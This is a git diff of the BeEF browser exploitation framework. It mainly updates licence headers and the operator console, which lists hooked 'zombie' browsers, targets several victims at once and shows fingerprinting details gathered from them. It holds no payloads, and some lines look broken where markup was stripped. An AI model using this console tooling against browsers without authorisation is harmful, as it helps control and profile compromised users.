+ // Curson always needs to be on the prompt
+ input.focus();
+ element.click( function() { input.focus(); } );
+
+
+ /**
+ * @method : hide
+ * @private :
+ * @desc : Hides the prompt
+ **/
+ var hide = function() {
+ _prompt.hide();
+ };
+
+ /**
+ * @method : show
+ * @private :
+ * @desc : Shows the prompt
+ **/
+ var show = function() {
+ _prompt.show();
+ input.focus();
+ };
+
+ /**
+ * @method : update_content
+ * @private :
+ * @desc : Updates the content section
+ * @args : current_prompt, command, data
+ **/
+ var update_content = function( p, cmd, data ) {
+ content.append( '
' + p + ' ' + cmd + '
' + ( ( data ) ? data : '' ) + '
' );
+ };
+
+ /**
+ * @method : clear_content
+ * @private :
+ * @desc : Updates the content section
+ * @args : current_prompt, command, data
+ **/
+ var clear_content = function() {
+ content.html( '' );
+ };
+
+ // Add the command to the dispatch
+ dispatch.clear = clear_content;
+
+
+
+ /**
+ * @method : set_prompt
+ * @private :
+ * @desc : Set the current prompt
+ * @args : string
+ **/
+ set_prompt = function( p ) {
+ if( p && p.length ) element.find( '.' + settings.PROMPT_CLASS).html( p + ' ' );
+ };
+
+
+
+ /**
+ *
+ * @method : Anonymous
+ * @private :
+ * @event_handler
+ *
+ **/
+ input_form.submit( function( e ) {
+ e.preventDefault();
+ e.stopPropagation();
+
+ var value = input.attr( 'value' );
+
+ if( settings.HISTORY ) {
+ if( history.length > settings.HISTORY_ENTRIES ) history.shift();
+ history.push( value );
+ }
+
+ // Reset The Input
+ input.attr( 'value', '' );
+ var tokens = value.split( /\s+/ );
+ var key = tokens[0];
+
+ hide();
+
+ var get_current_prompt = function() {
+ return ( cprompt ) ? cprompt : settings.PS1;
+ }
+
+ var _dispatch = function( key, tokens ) {
+
+ if( typeof key === 'function' ) {
+ data = key( tokens );
+ /*
+ * antisnatchor: preventing XSS
+ */
+ if( data ) { update_content( get_current_prompt(), $jEncoder.encoder.encodeForJavascript(value), data)}
+ } else if( typeof key === 'string' ) {
+ var to_send = { };
+ to_send[ settings.AJAX_PARAM ] = tokens.join( ' ' );
+
+ var on_complete = function( data, text_status ) {
+ update_content( get_current_prompt(), value, data )
+ };
+
+ $[ settings.AJAX_METHOD.toLowerCase() ]( key, to_send, on_complete );
+ }
+ };
+
+ if( key == '' ) {
+ update_content( get_current_prompt() , '' )
+ } else if( cdispatch && key == 'exit' ) {
+
+ // Recover old configuration and Dispatch exit hook
+ settings.AUTOCOMPLETE = ( ac_save ) ? ac_save : false ;
+
+ // Todo: test what happens when exit hook is not defined
+ if( cdispatch.EXIT_HOOK ) {
+ _dispatch( cdispatch.EXIT_HOOK, tokens );
+ } else {
+ _dispatch( function() { return '' }, tokens );
+ }
+
+ // Clear temporary values
+ cdispatch = null;
+ cprompt = null;
+
+ // Reset the prompt
+ set_prompt( settings.PS1 );
+
+ } else if( cdispatch ) {
+
+ // Dispatch to the custom dispatcher
+ _dispatch( cdispatch.DISPATCH, tokens );
+
+ } else if( dispatch[ key ] ) {
+ if( typeof dispatch[ key ] === 'object' ) {
+ cdispatch = dispatch[ key ];
+ cprompt = cdispatch.PS1 || key;
+ set_prompt( cprompt );
+
+ ac_save = settings.AUTOCOMPLETE;
+ settings.AUTOCOMPLETE = false;
+
+ // Todo:See what happens if start hook is not defined
+ if( cdispatch.START_HOOK ) {
+ _dispatch( cdispatch.START_HOOK, tokens );
+ } else {
+ // A stupid Hack
+ _dispatch( function() { return '' }, tokens );
+ }
+ } else {
+ _dispatch( dispatch[ key ], tokens );
+ }
+ } else {
+ update_content( settings.PS1, value, settings.NOT_FOUND.replace( 'CMD', tokens[0] ));
+ }
+
+ show();
+
+
+ } );
+
+
+ /**
+ *
+ * @method : Anonymous
+ * @private :
+ * @event_handler
+ *
+ **/
+ input.keydown( function( e ) {
+ var keycode = e.keyCode;
+ switch( keycode ) {
+
+ case 9:
+
+ e.preventDefault();
+
+ if( settings.AUTOCOMPLETE ) {
+ var commands = [ ];
+ var current_value = input.attr( 'value' );
+ // Command Completion
+ if( current_value.match( /^[^\s]{0,}$/ ) ) {
+ for( i in dispatch ) {
+ if( current_value == '' ) {
+ commands.push( i );
+ } else if( i.indexOf( current_value ) == 0 ) {
+ commands.push( i );
+ }
+ }
+
+ if( commands.length > 1 ) {
+ update_content( settings.PS1, current_value, commands.join( ' ' ) );
+ } else if( commands.length == 1 ) {
+ input.attr( 'value', commands.pop() + ' ' );
+ }
+ }
+ }
+
+ break;
+
+ // History Up
+ case 38:
+ e.preventDefault();
+ if( settings.HISTORY ) {
+ hcurrent = ( hcurrent === null )? history.length - 1 : ( hcurrent == 0 ) ? history.length - 1 : hcurrent - 1;
+ input.attr( 'value', history[ hcurrent ] );
+ }
+ break;
+
+ // History Down
+ case 40:
+ e.preventDefault();
+ if( settings.HISTORY ) {
+ if( hcurrent === null || hcurrent == (history.length - 1 ) ) break;
+ hcurrent++;
+ input.attr( 'value', history[ hcurrent ] );
+ }
+ break;
+
+ default:
+ break;
+ }
+ });
+ });
+
+ };
+
+
+ $.register_command = function( command, dispatch_method ) {
+ try {
+ if( typeof dispatch_method === 'function' || typeof dispatch_method === 'string' || typeof dispatch_method === 'object' ) {
+ dispatch[ command ] = dispatch_method;
+ } else {
+ throw 'Dispatch needs to be a method';
+ }
+ } catch ( e ) {
+ // Error Handling here
+ }
+ };
+
+})( jQuery );
diff --git a/extensions/autoloader/config.yaml b/extensions/autoloader/config.yaml
index dc560be9f..419798363 100644
--- a/extensions/autoloader/config.yaml
+++ b/extensions/autoloader/config.yaml
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
diff --git a/extensions/autoloader/extension.rb b/extensions/autoloader/extension.rb
index 241d02885..b63fbf399 100644
--- a/extensions/autoloader/extension.rb
+++ b/extensions/autoloader/extension.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/autoloader/model.rb b/extensions/autoloader/model.rb
index a6f268706..c83c441b5 100644
--- a/extensions/autoloader/model.rb
+++ b/extensions/autoloader/model.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/extensions/console/config.yaml b/extensions/console/config.yaml
index 6612e66d3..baa7e4865 100644
--- a/extensions/console/config.yaml
+++ b/extensions/console/config.yaml
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
diff --git a/extensions/console/extension.rb b/extensions/console/extension.rb
index 8574e46cc..cd3253a8a 100644
--- a/extensions/console/extension.rb
+++ b/extensions/console/extension.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/console/lib/command_dispatcher.rb b/extensions/console/lib/command_dispatcher.rb
index ffade9889..d74602bb7 100644
--- a/extensions/console/lib/command_dispatcher.rb
+++ b/extensions/console/lib/command_dispatcher.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/console/lib/command_dispatcher/command.rb b/extensions/console/lib/command_dispatcher/command.rb
index 465dd3b8f..e3fb00db6 100644
--- a/extensions/console/lib/command_dispatcher/command.rb
+++ b/extensions/console/lib/command_dispatcher/command.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
@@ -53,10 +43,10 @@ class Command
print_line("Module name: " + driver.interface.cmd['Name'])
print_line("Module category: " + driver.interface.cmd['Category'])
print_line("Module description: " + driver.interface.cmd['Description'])
- print_line("Module parameters:")
+ print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
driver.interface.cmd['Data'].each{|data|
- print_line(data['name'] + " => \"" + data['value'].to_s + "\" # this is the " + data['ui_label'] + " parameter")
+ print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
} if not driver.interface.cmd['Data'].nil?
end
@@ -168,4 +158,4 @@ class Command
end
-end end end end
\ No newline at end of file
+end end end end
diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb
index 2a1f81a99..59ac7c82a 100644
--- a/extensions/console/lib/command_dispatcher/core.rb
+++ b/extensions/console/lib/command_dispatcher/core.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
@@ -47,10 +37,14 @@ class Core
end
def cmd_back(*args)
- if (driver.current_dispatcher.name == 'Command')
- driver.remove_dispatcher('Command')
- driver.interface.clearcommand #TODO: TIDY THIS UP
- driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
+ if (driver.current_dispatcher.name == 'Command')
+ driver.remove_dispatcher('Command')
+ driver.interface.clearcommand #TODO: TIDY THIS UP
+ if driver.interface.targetid.length > 1
+ driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
+ else
+ driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
+ end
elsif (driver.current_dispatcher.name == 'Target')
driver.remove_dispatcher('Target')
driver.interface.cleartarget
@@ -147,11 +141,12 @@ class Core
[
'Id',
'IP',
+ 'Browser',
'OS'
])
BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie|
- tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
+ tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
end
puts "\n"
@@ -178,11 +173,12 @@ class Core
[
'Id',
'IP',
+ 'Browser',
'OS'
])
BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie|
- tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
+ tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
end
puts "\n"
@@ -213,23 +209,30 @@ class Core
BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |zombie|
onlinezombies << zombie.id
end
-
- if not onlinezombies.include?(args[0].to_i)
- print_status("Browser does not appear to be online..")
- return false
- end
-
- if not driver.interface.settarget(args[0]).nil?
+
+ targets = args[0].split(',')
+ targets.each {|t|
+ if not onlinezombies.include?(t.to_i)
+ print_status("Browser [id:"+t.to_s+"] does not appear to be online.")
+ return false
+ end
+ #print_status("Adding browser [id:"+t.to_s+"] to target list.")
+ }
+
+ if not driver.interface.settarget(targets).nil?
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core')
-
driver.destack_dispatcher
- driver.update_prompt('')
+ driver.update_prompt('')
end
-
+
driver.enstack_dispatcher(Target)
- driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
+ if driver.interface.targetid.length > 1
+ driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
+ else
+ driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
+ end
end
end
@@ -287,13 +290,16 @@ class Core
if not driver.interface.setofflinetarget(args[0]).nil?
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core')
-
driver.destack_dispatcher
- driver.update_prompt('')
+ driver.update_prompt('')
end
driver.enstack_dispatcher(Target)
- driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
+ if driver.interface.targetid.length > 1
+ driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
+ else
+ driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
+ end
end
end
@@ -381,4 +387,4 @@ class Core
end
-end end end end
\ No newline at end of file
+end end end end
diff --git a/extensions/console/lib/command_dispatcher/target.rb b/extensions/console/lib/command_dispatcher/target.rb
index a7b737360..0eaf4deeb 100644
--- a/extensions/console/lib/command_dispatcher/target.rb
+++ b/extensions/console/lib/command_dispatcher/target.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
@@ -28,7 +18,7 @@ class Target
begin
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
- @@commands << folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
+ @@commands << folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
}
}
rescue
@@ -73,9 +63,9 @@ class Target
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
- tbl << [command['id'].to_s,
- folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"),
- command['status'],
+ tbl << [command['id'].to_i,
+ folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"),
+ command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] #TODO
}
}
@@ -159,7 +149,12 @@ class Target
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
- driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] / "+driver.interface.cmd['Name']+" ")
+ if driver.interface.targetid.length > 1
+ driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
+ else
+ driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
+ end
+
end
def cmd_select_help(*args)
@@ -179,4 +174,4 @@ class Target
end
-end end end end
\ No newline at end of file
+end end end end
diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb
index a896184cb..98b60941c 100644
--- a/extensions/console/lib/shellinterface.rb
+++ b/extensions/console/lib/shellinterface.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
@@ -60,6 +50,9 @@ class ShellInterface
tree = []
BeEF::Modules.get_categories.each { |c|
+ if c[-1,1] != "/"
+ c.concat("/")
+ end
tree.push({
'text' => c,
'cls' => 'folder',
@@ -68,7 +61,21 @@ class ShellInterface
}
BeEF::Modules.get_enabled.each{|k, mod|
- update_command_module_tree(tree, mod['category'], get_command_module_status(k), mod['name'],mod['db']['id'])
+
+ flatcategory = ""
+ if mod['category'].kind_of?(Array)
+ # Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
+ mod['category'].each {|cat|
+ flatcategory << cat + "/"
+ }
+ else
+ flatcategory = mod['category']
+ if flatcategory[-1,1] != "/"
+ flatcategory.concat("/")
+ end
+ end
+
+ update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
}
# if dynamic modules are found in the DB, then we don't have yaml config for them
@@ -245,7 +252,7 @@ class ShellInterface
'os' => [BD.get(hook_session_id, 'OsName')]})
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
- return "Verfied Not Working"
+ return "Verified Not Working"
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
return "Verified User Notify"
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
@@ -336,7 +343,7 @@ class ShellInterface
page_name_row = {
'category' => 'Host',
- 'data' => encoded_date_stamp,
+ 'data' => encoded_date_stamp_hash,
'from' => 'Initialization'
}
@@ -358,6 +365,21 @@ class ShellInterface
summary_grid_hash['results'].push(page_name_row) # add the row
end
+ # set and add the return values for the os name
+ hw_name = BD.get(self.targetsession, 'Hardware')
+ if not hw_name.nil?
+ encoded_hw_name = CGI.escapeHTML(hw_name)
+ encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
+
+ page_name_row = {
+ 'category' => 'Host',
+ 'data' => encoded_hw_name_hash,
+ 'from' => 'Initialization'
+ }
+
+ summary_grid_hash['results'].push(page_name_row) # add the row
+ end
+
# set and add the return values for the browser name
browser_name = BD.get(self.targetsession, 'BrowserName')
if not browser_name.nil?
@@ -535,6 +557,21 @@ class ShellInterface
summary_grid_hash['results'].push(page_name_row) # add the row
end
+ # set and add the yes|no value for HasPhonegap
+ has_phonegap = BD.get(self.targetsession, 'HasPhonegap')
+ if not has_phonegap.nil?
+ encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
+ encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
+
+ page_name_row = {
+ 'category' => 'Browser',
+ 'data' => encoded_has_phonegap_hash,
+ 'from' => 'Initialization'
+ }
+
+ summary_grid_hash['results'].push(page_name_row) # add the row
+ end
+
# set and add the yes|no value for HasGoogleGears
has_googlegears = BD.get(self.targetsession, 'HasGoogleGears')
if not has_googlegears.nil?
diff --git a/extensions/console/shell.rb b/extensions/console/shell.rb
index 89cc6b20d..84d523ebb 100644
--- a/extensions/console/shell.rb
+++ b/extensions/console/shell.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
require 'rex'
diff --git a/extensions/customhook/api.rb b/extensions/customhook/api.rb
index 90a47bdb9..d3fe850b6 100644
--- a/extensions/customhook/api.rb
+++ b/extensions/customhook/api.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/customhook/config.yaml b/extensions/customhook/config.yaml
index 9daf85e72..fe677fc14 100644
--- a/extensions/customhook/config.yaml
+++ b/extensions/customhook/config.yaml
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
diff --git a/extensions/customhook/extension.rb b/extensions/customhook/extension.rb
index 089425f23..644c3be36 100644
--- a/extensions/customhook/extension.rb
+++ b/extensions/customhook/extension.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/customhook/handler.rb b/extensions/customhook/handler.rb
index 04b601094..621333741 100644
--- a/extensions/customhook/handler.rb
+++ b/extensions/customhook/handler.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/customhook/html/index.html b/extensions/customhook/html/index.html
index c1acd833a..0c4aee29b 100644
--- a/extensions/customhook/html/index.html
+++ b/extensions/customhook/html/index.html
@@ -1,3 +1,8 @@
+
<%= @customhook_title %>
diff --git a/extensions/demos/api.rb b/extensions/demos/api.rb
index 1f3e883a8..543876bd9 100644
--- a/extensions/demos/api.rb
+++ b/extensions/demos/api.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/demos/chrome_extension/index.html b/extensions/demos/chrome_extension/index.html
index 1edb829c0..702914d70 100644
--- a/extensions/demos/chrome_extension/index.html
+++ b/extensions/demos/chrome_extension/index.html
@@ -1,3 +1,8 @@
+
diff --git a/extensions/demos/chrome_extension/persistent_tab.html b/extensions/demos/chrome_extension/persistent_tab.html
index 836354aae..65a992234 100644
--- a/extensions/demos/chrome_extension/persistent_tab.html
+++ b/extensions/demos/chrome_extension/persistent_tab.html
@@ -1,3 +1,8 @@
+
diff --git a/extensions/demos/config.yaml b/extensions/demos/config.yaml
index 2cdbc00c7..d74ae8563 100644
--- a/extensions/demos/config.yaml
+++ b/extensions/demos/config.yaml
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
